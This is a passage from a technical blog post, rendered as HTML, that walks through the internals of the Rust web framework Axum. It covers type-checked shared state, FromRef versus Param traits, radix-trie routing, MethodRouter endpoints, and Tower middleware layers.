Shared State"></a>Storing Shared State</h2><p>Following my earlier reasoning, since shared state is treated as part of the Request, I must either store the state somewhere in the Request, define a new Request carrying state, or pass it in through an additional parameter.</p><h3 id="Storing-State-in-the-Request-Itself"><a href="#Storing-State-in-the-Request-Itself" class="headerlink" title="Storing State in the Request Itself"></a>Storing State in the Request Itself</h3><p>Actix and earlier versions of Axum both stored state this way. The Request contains a type map called extension, into which I directly insert a KV: <code>key = S; val = S&#123;…&#125;</code>. During extraction, I use the S type as the key to retrieve the val inserted before the handler was called.</p><p>This looks convenient and easy to implement, but the approach gives up the opportunity for static type checking. If the State required in the user’s handler parameters does not match the State type attached to the Route, the mismatch can only be handled at runtime. As a result, erroneous code can compile but will fail 100% of the time at runtime.</p><h3 id="Passing-State-through-an-Additional-Parameter-and-Adding-Type-Constraints"><a href="#Passing-State-through-an-Additional-Parameter-and-Adding-Type-Constraints" class="headerlink" title="Passing State through an Additional Parameter and Adding Type Constraints"></a>Passing State through an Additional Parameter and Adding Type Constraints</h3><p>Rust’s type system lets me expose the problem described earlier at compile time.</p><p>I can add the generic S to Handler, FromRequest, and Route and constrain routing registration on <code>Route&lt;S&gt;</code>:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Handler</span>&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request, state: S) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt;;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">FromRequest</span>&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span>;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request, state: &amp;S) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Route</span>&lt;S&gt; &#123; ... &#125;</span><br><span class="line"><span class="keyword">impl</span>&lt;S&gt; Route&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">new</span>(state: S) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span> &#123; ... &#125;</span><br><span class="line">    <span class="comment">// we can only add Handler&lt;S&gt; to our self, not Handler&lt;A&gt; or Handler&lt;B&gt;</span></span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">route</span>&lt;H: Handler&lt;S&gt;&gt;(<span class="keyword">self</span>, hander: H) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span> &#123; ... &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// illustrate for macro expand result</span></span><br><span class="line"><span class="keyword">impl</span>&lt;F, O, S, T1&gt; Handler&lt;S&gt; <span class="keyword">for</span> <span class="title class_">F</span></span><br><span class="line">    <span class="keyword">where</span> F: <span class="title function_ invoke__">Fn</span>(T1) <span class="punctuation">-&gt;</span> Fut, Fut: Future&lt;Output = O&gt;,</span><br><span class="line">          O: IntoResponse, T1: FromRequest &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">self</span>, req: http::Request, state: S) <span class="punctuation">-&gt;</span> BoxFuture&lt;<span class="symbol">&#x27;static</span>, http::Response&gt; &#123;</span><br><span class="line">        <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(<span class="keyword">async</span> <span class="keyword">move</span> &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">param1</span> = <span class="keyword">match</span> T1::<span class="title function_ invoke__">from_request</span>(&amp;req, &amp;state) &#123;</span><br><span class="line">                <span class="title function_ invoke__">Ok</span>(p) =&gt; p,</span><br><span class="line">                <span class="title function_ invoke__">Err</span>(e) =&gt; <span class="keyword">return</span> e.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">            &#125;;</span><br><span class="line">            <span class="keyword">let</span> <span class="variable">resp</span> = (<span class="keyword">self</span>)(param1).<span class="title function_ invoke__">into_response</span>();</span><br><span class="line">            resp</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This constrains the State type on the handler fn. Finally, I implement the State helper structure for parameter extraction:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">State</span>&lt;S&gt;(<span class="keyword">pub</span> S);</span><br><span class="line"><span class="keyword">impl</span>&lt;S&gt; FromRequest&lt;S&gt; <span class="keyword">for</span> <span class="title class_">State</span>&lt;S&gt;</span><br><span class="line"><span class="keyword">where</span> S: <span class="built_in">Clone</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span> = Infallible;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request, state: &amp;S) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt; &#123;</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(state.<span class="title function_ invoke__">clone</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>And I am done! I can now use shared state confidently without worrying about passing the wrong type and causing runtime problems. If it compiles, it works.</p><h2 id="More-User-Friendly-Shared-State"><a href="#More-User-Friendly-Shared-State" class="headerlink" title="More User-Friendly Shared State"></a>More User-Friendly Shared State</h2><p>As with extraction from the Request discussed earlier, users may need only part of the Request or State. To make this easier to use, I can allow users to accept only part of the State. For example:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">MyShared</span> &#123;</span><br><span class="line">    db: DBHandler,</span><br><span class="line">    cache: Cache,</span><br><span class="line">    counter: Counter,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">get_cache</span>(<span class="title function_ invoke__">State</span>(cache): State&lt;Cache&gt;) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">update_cache</span>(<span class="title function_ invoke__">State</span>(cache): State&lt;Cache&gt;, <span class="title function_ invoke__">State</span>(db): State&lt;DBHandler&gt;) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>Similar to FromRequest, I can define a Trait that allows a substructure to be derived from a larger structure.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// in `from` style</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">FromRef</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_ref</span>(input: &amp;T) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// in `into` style</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Param</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">param</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> T;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Comparing-the-FromRef-and-Param-Styles"><a href="#Comparing-the-FromRef-and-Param-Styles" class="headerlink" title="Comparing the FromRef and Param Styles"></a>Comparing the FromRef and Param Styles</h3><p>Just as with the relationship between <code>From</code> and <code>Into</code>, I can provide Traits in both styles. The two are equivalent, so I only need to choose one of them.</p><p>Axum uses the <code>FromRef</code> definition, while the <code>Param</code> style can be found in linkerd2-proxy.</p><p>Which of these two is better? The standard library encourages defining <code>From</code> rather than <code>Into</code>, but this does not mean I can blindly assume that the <code>FromRef</code> form is better.</p><p>The standard library gives <code>From</code> a backdoor around the orphan rule, whereas the framework-defined <code>FromRef</code> has no such backdoor. The following code violates the orphan rule and cannot compile:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Example</span> &#123;</span><br><span class="line">    demo: <span class="type">String</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">FromRef</span>&lt;Example&gt; <span class="keyword">for</span> <span class="title class_">String</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>However, using the Into style works:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Example</span> &#123;</span><br><span class="line">    demo: <span class="type">String</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Param</span>&lt;<span class="type">String</span>&gt; <span class="keyword">for</span> <span class="title class_">Example</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>I will use the Into-style Param Trait to implement this section’s functionality:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;S, I&gt; FromRequest&lt;S&gt; <span class="keyword">for</span> <span class="title class_">State</span>&lt;I&gt;</span><br><span class="line"><span class="keyword">where</span> S: Param&lt;I&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span> = Infallible;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">from_request</span>(req: &amp;http::Request, state: &amp;S) <span class="punctuation">-&gt;</span> <span class="type">Result</span>&lt;<span class="keyword">Self</span>, <span class="keyword">Self</span>::Error&gt; &#123;</span><br><span class="line">        <span class="title function_ invoke__">Ok</span>(state.<span class="title function_ invoke__">param</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="Routing"><a href="#Routing" class="headerlink" title="Routing"></a>Routing</h1><p>Routing is a system for composing and dispatching Handlers.</p><p>Earlier, I introduced the Handler concept through the simplest possible router and described the Handler Trait constraints and macro-based automatic Handler implementations for user-defined functions. However, a truly easy-to-use router is still some distance away.</p><h2 id="Route-Lookup-and-Merging"><a href="#Route-Lookup-and-Merging" class="headerlink" title="Route Lookup and Merging"></a>Route Lookup and Merging</h2><p>For route lookup, I can use the existing matchit library. Matchit lets me register Paths and Values; when a request matches a path, it returns the Value corresponding to the matching Path. Matchit is based on a radix trie and, unlike HashMap, supports prefix matching and parameter extraction (such as <code>/user/:id</code>).</p><p>For a simple implementation, directly wrapping matchit provides path matching. However, matchit has the drawback of not supporting iteration to retrieve the Paths and Values supplied during registration. Therefore, to support additional features (such as merge), I also need to maintain a complete set of mappings myself.</p><p>In Axum, a Handler is represented by the Endpoint type. Router maintains two pieces of information:</p><ol><li>RouteId → Endpoint</li><li>Node<ol><li>matchit <code>Router&lt;RouteId&gt;</code>: used for path matching</li><li>RouteId → Path</li><li>Path → RouteId</li></ol></li></ol><p>When looking up a path, the path is passed directly to the matchit Router to find the corresponding <code>RouteId</code>, which is then used to find the Endpoint.</p><p>When merging routers, suppose I want to merge B into A. I iterate over the route information in B to obtain all <code>(RouterId, Path, Endpoint)</code> tuples, then try to merge them into entries with the same Path in A (for entries with the same Path but different Methods), creating a new entry if none exists.</p><p>For example, merging <code>/login</code> and <code>/logout</code> inserts the corresponding Paths and RouterIds into the matchit Router. Merging <code>GET /login</code> and <code>POST /login</code>, however, requires no modification to the matchit Router; the corresponding Endpoints can simply be merged.</p><h2 id="Endpoint"><a href="#Endpoint" class="headerlink" title="Endpoint"></a>Endpoint</h2><p>Axum defines Endpoint to support nested Routes and dispatching by Method.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> <span class="title class_">Endpoint</span>&lt;S, B&gt; &#123;</span><br><span class="line">    <span class="title function_ invoke__">MethodRouter</span>(MethodRouter&lt;S, B&gt;),</span><br><span class="line">    <span class="title function_ invoke__">Route</span>(Route&lt;B&gt;),</span><br><span class="line">    <span class="title function_ invoke__">NestedRouter</span>(BoxedIntoRoute&lt;S, B, Infallible&gt;),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/3f283515-08e7-4f61-8348-0d92e7bfdaaa/Untitled.png" alt="Untitled"></p><h3 id="Route"><a href="#Route" class="headerlink" title="Route"></a>Route</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Route</span>&lt;B = Body, E = Infallible&gt;(BoxCloneService&lt;Request&lt;B&gt;, Response, E&gt;);</span><br></pre></td></tr></table></figure><p>A Route is an <code>async fn (Request) → Result&lt;Response, Error&gt;</code> that can directly handle requests. When I do not need to dispatch by Method, or dispatching has already been completed, I can send the request directly to the corresponding Route for handling.</p><h3 id="BoxedIntoRoute"><a href="#BoxedIntoRoute" class="headerlink" title="BoxedIntoRoute"></a>BoxedIntoRoute</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">struct</span> <span class="title class_">BoxedIntoRoute</span>&lt;S, B, E&gt;(<span class="type">Box</span>&lt;<span class="keyword">dyn</span> ErasedIntoRoute&lt;S, B, E&gt;&gt;);</span><br><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">trait</span> <span class="title class_">ErasedIntoRoute</span>&lt;S, B, E&gt;: <span class="built_in">Send</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">clone_box</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Box</span>&lt;<span class="keyword">dyn</span> ErasedIntoRoute&lt;S, B, E&gt;&gt;;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">into_route</span>(<span class="keyword">self</span>: <span class="type">Box</span>&lt;<span class="keyword">Self</span>&gt;, state: S) <span class="punctuation">-&gt;</span> Route&lt;B, E&gt;;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call_with_state</span>(<span class="keyword">self</span>: <span class="type">Box</span>&lt;<span class="keyword">Self</span>&gt;, request: Request&lt;B&gt;, state: S) <span class="punctuation">-&gt;</span> RouteFuture&lt;B, E&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>BoxedIntoRoute</code> erases the Handler type, so its generics contain no Handler-related markers, Handler associated types, and so on.</p><p>Its State remains to be supplied. I can think of <code>BoxedIntoRoute</code> as a Route without State attached. Once State is attached, it becomes an actual Route, which is the meaning of Into Route in its name.</p><h3 id="MethodRouter"><a href="#MethodRouter" class="headerlink" title="MethodRouter"></a>MethodRouter</h3><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">MethodRouter</span>&lt;S = (), B = Body, E = Infallible&gt; &#123;</span><br><span class="line">    get: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    head: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    delete: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    options: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    patch: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    post: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    put: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    trace: MethodEndpoint&lt;S, B, E&gt;,</span><br><span class="line">    fallback: Fallback&lt;S, B, E&gt;,</span><br><span class="line">    allow_header: AllowHeader,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span> <span class="title class_">MethodEndpoint</span>&lt;S, B, E&gt; &#123;</span><br><span class="line">    <span class="literal">None</span>,</span><br><span class="line">    <span class="title function_ invoke__">Route</span>(Route&lt;B, E&gt;),</span><br><span class="line">    <span class="title function_ invoke__">BoxedHandler</span>(BoxedIntoRoute&lt;S, B, E&gt;),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>A MethodRouter contains MethodEndpoints corresponding to different Methods. A MethodEndpoint may be None (nothing is configured for that Method), or it may be the Route or BoxedIntoRoute described earlier.</p><h2 id="Route-Composition"><a href="#Route-Composition" class="headerlink" title="Route Composition"></a>Route Composition</h2><p>I will use an example copied from axum to see exactly how a Router is created:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">let</span> <span class="variable">app</span> = Router::<span class="title function_ invoke__">new</span>()</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;/keys&quot;</span>, <span class="title function_ invoke__">get</span>(list_keys))</span><br><span class="line">    .<span class="title function_ invoke__">nest</span>(<span class="string">&quot;/admin&quot;</span>, <span class="title function_ invoke__">admin_routes</span>())</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(Arc::<span class="title function_ invoke__">clone</span>(&amp;shared_state));</span><br><span class="line">...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">list_keys</span>(<span class="title function_ invoke__">State</span>(state): State&lt;SharedState&gt;) <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">admin_routes</span>() <span class="punctuation">-&gt;</span> Router&lt;SharedState&gt; &#123;</span><br><span class="line">    <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">delete_all_keys</span>(<span class="title function_ invoke__">State</span>(state): State&lt;SharedState&gt;) &#123; ... &#125;</span><br><span class="line">    <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">remove_key</span>(<span class="title function_ invoke__">Path</span>(key): Path&lt;<span class="type">String</span>&gt;, <span class="title function_ invoke__">State</span>(state): State&lt;SharedState&gt;) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line">    Router::<span class="title function_ invoke__">new</span>()</span><br><span class="line">        .<span class="title function_ invoke__">route</span>(<span class="string">&quot;/keys&quot;</span>, <span class="title function_ invoke__">delete</span>(delete_all_keys))</span><br><span class="line">        .<span class="title function_ invoke__">route</span>(<span class="string">&quot;/key/:key&quot;</span>, <span class="title function_ invoke__">delete</span>(remove_key))</span><br><span class="line">        .<span class="title function_ invoke__">layer</span>(RequireAuthorizationLayer::<span class="title function_ invoke__">bearer</span>(<span class="string">&quot;secret-token&quot;</span>))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li>First is <code>.route(&quot;/keys&quot;, get(list_keys))</code>. Here, get boxes a function and converts it into a <code>MethodRouter&lt;S, B, Infallible&gt;</code>; route then inserts it into <code>Endpoint::MethodRouter</code>. Because State has not yet been attached, its internal type corresponds to <code>BoxedIntoRoute</code>, the type lacking State.</li><li>Next, consider <code>.with_state(Arc::clone(&amp;shared_state))</code>:</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">with_state</span>&lt;S2&gt;(<span class="keyword">self</span>, state: S) <span class="punctuation">-&gt;</span> Router&lt;S2, B&gt; &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>This attaches state of type S and rewrites the generic to the new type S2 (which has no constraints at this point).</p><p>Internally, <code>with_state</code> attaches State to every <code>BoxedIntoRoute</code>, converting it into the <code>Route</code> type.</p><ol><li><code>.nest</code> accepts a prefix and a child router. The child router only needs to be inserted as a NestedRouter. Note that the prefix must also be removed before a request is passed to the child router.</li></ol><h1 id="Middleware"><a href="#Middleware" class="headerlink" title="Middleware"></a>Middleware</h1><h2 id="Tower-Service"><a href="#Tower-Service" class="headerlink" title="Tower Service"></a>Tower Service</h2><p>Tower is a general-purpose component for describing logic in the Rust ecosystem. Tower provides a Service Trait that describes asynchronous logic taking a Request as input and producing <code>Result&lt;Response, Error&gt;</code> as output. Essentially any logic with one input corresponding to one response can be described with this Trait.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Service</span>&lt;Request&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Response</span>;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Error</span>;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Future</span>: Future&lt;Output = <span class="type">Result</span>&lt;<span class="keyword">Self</span>::Response, <span class="keyword">Self</span>::Error&gt;&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_ready</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;(), <span class="keyword">Self</span>::Error&gt;&gt;;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">call</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>, req: Request) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>::Future;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Service not only helps align interfaces between different components; I can also use Tower’s auxiliary components to compose logic. Tower provides Layer for decorating Services and Stack for nesting Layers.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Layer</span>&lt;S&gt; &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Service</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">layer</span>(&amp;<span class="keyword">self</span>, inner: S) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>::Service;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Stack</span>&lt;Inner, Outer&gt; &#123;</span><br><span class="line">    inner: Inner,</span><br><span class="line">    outer: Outer,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span>&lt;S, Inner, Outer&gt; Layer&lt;S&gt; <span class="keyword">for</span> <span class="title class_">Stack</span>&lt;Inner, Outer&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    Inner: Layer&lt;S&gt;,</span><br><span class="line">    Outer: Layer&lt;Inner::Service&gt;,</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Service</span> = Outer::Service;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">layer</span>(&amp;<span class="keyword">self</span>, service: S) <span class="punctuation">-&gt;</span> <span class="keyword">Self</span>::Service &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">inner</span> = <span class="keyword">self</span>.inner.<span class="title function_ invoke__">layer</span>(service);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">self</span>.outer.<span class="title function_ invoke__">layer</span>(inner)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>A simple summary is:</p><ol><li>Service describes the common logic of <code>async fn (Request) → Result&lt;Response, Error&gt;</code>.</li><li>Layer is a Service decorator: pass in a Service and receive a decorated Service.</li><li>Stack is a composition of Layers. It implements Layer itself, and <code>.layer</code> invokes all its internal layers in sequence.</li></ol><p>Because I use Service middleware and <code>Route</code> itself implements Service, I only need to accept a layer to wrap a <code>Route</code>.</p><p>For a <code>BoxedIntoRoute</code> that still lacks State, I temporarily store the layers and wait until State has been supplied before wrapping it with those layers.</p><h1 id="Creating-and-Using-a-Server"><a href="#Creating-and-Using-a-Server" class="headerlink" title="Creating and Using a Server"></a>Creating and Using a Server</h1><p>Combining the routing, Handlers, and middleware discussed above gives me a Server. Server lets users bind and serve a MakeService:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><p><code>IntoMakeService&lt;S&gt;</code> implements <code>Service&lt;T, Response = S, Error = Infallible&gt;</code>.</p><p><code>Server::bind(…).serve(…)</code> creates a Server. Server implements Future, so it can be awaited directly. In its Future implementation, it first accepts a connection and uses <code>IntoMakeService&lt;S&gt;</code> to generate S, the Service used to process requests (my router).</p><p>The io (connection) and the processing Service are then wrapped together in a <code>hyper::Connecting</code> structure, which constructs a <code>hyper::NewSvcTask</code> and spawns that task.</p><p>Hyper handles connection reads and writes, decoding, and similar work. Finally, hyper calls the Service I supplied—that is, Router—with the decoded <code>http::Request</code>.</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/d5ca9efa-719c-4cad-ba94-ec329ad91c24/Untitled.png" alt="Untitled"></p><h1 id="The-Generic-Trick-for-Router-and-State"><a href="#The-Generic-Trick-for-Router-and-State" class="headerlink" title="The Generic Trick for Router and State"></a>The Generic Trick for Router and State</h1><p>This completes the main analysis of the article:</p><ol><li>How to constrain Handlers</li><li>How to perform route lookup and route management</li><li>How to support shared state</li></ol><p>While reading the code, I noticed Axum’s trick involving State generics and found it quite novel.</p><p>If you read the earlier shared-state section carefully, you will have noticed that my approach looked like this:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">index</span>() <span class="punctuation">-&gt;</span> <span class="type">String</span> &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> <span class="variable">route</span> = Route::<span class="title function_ 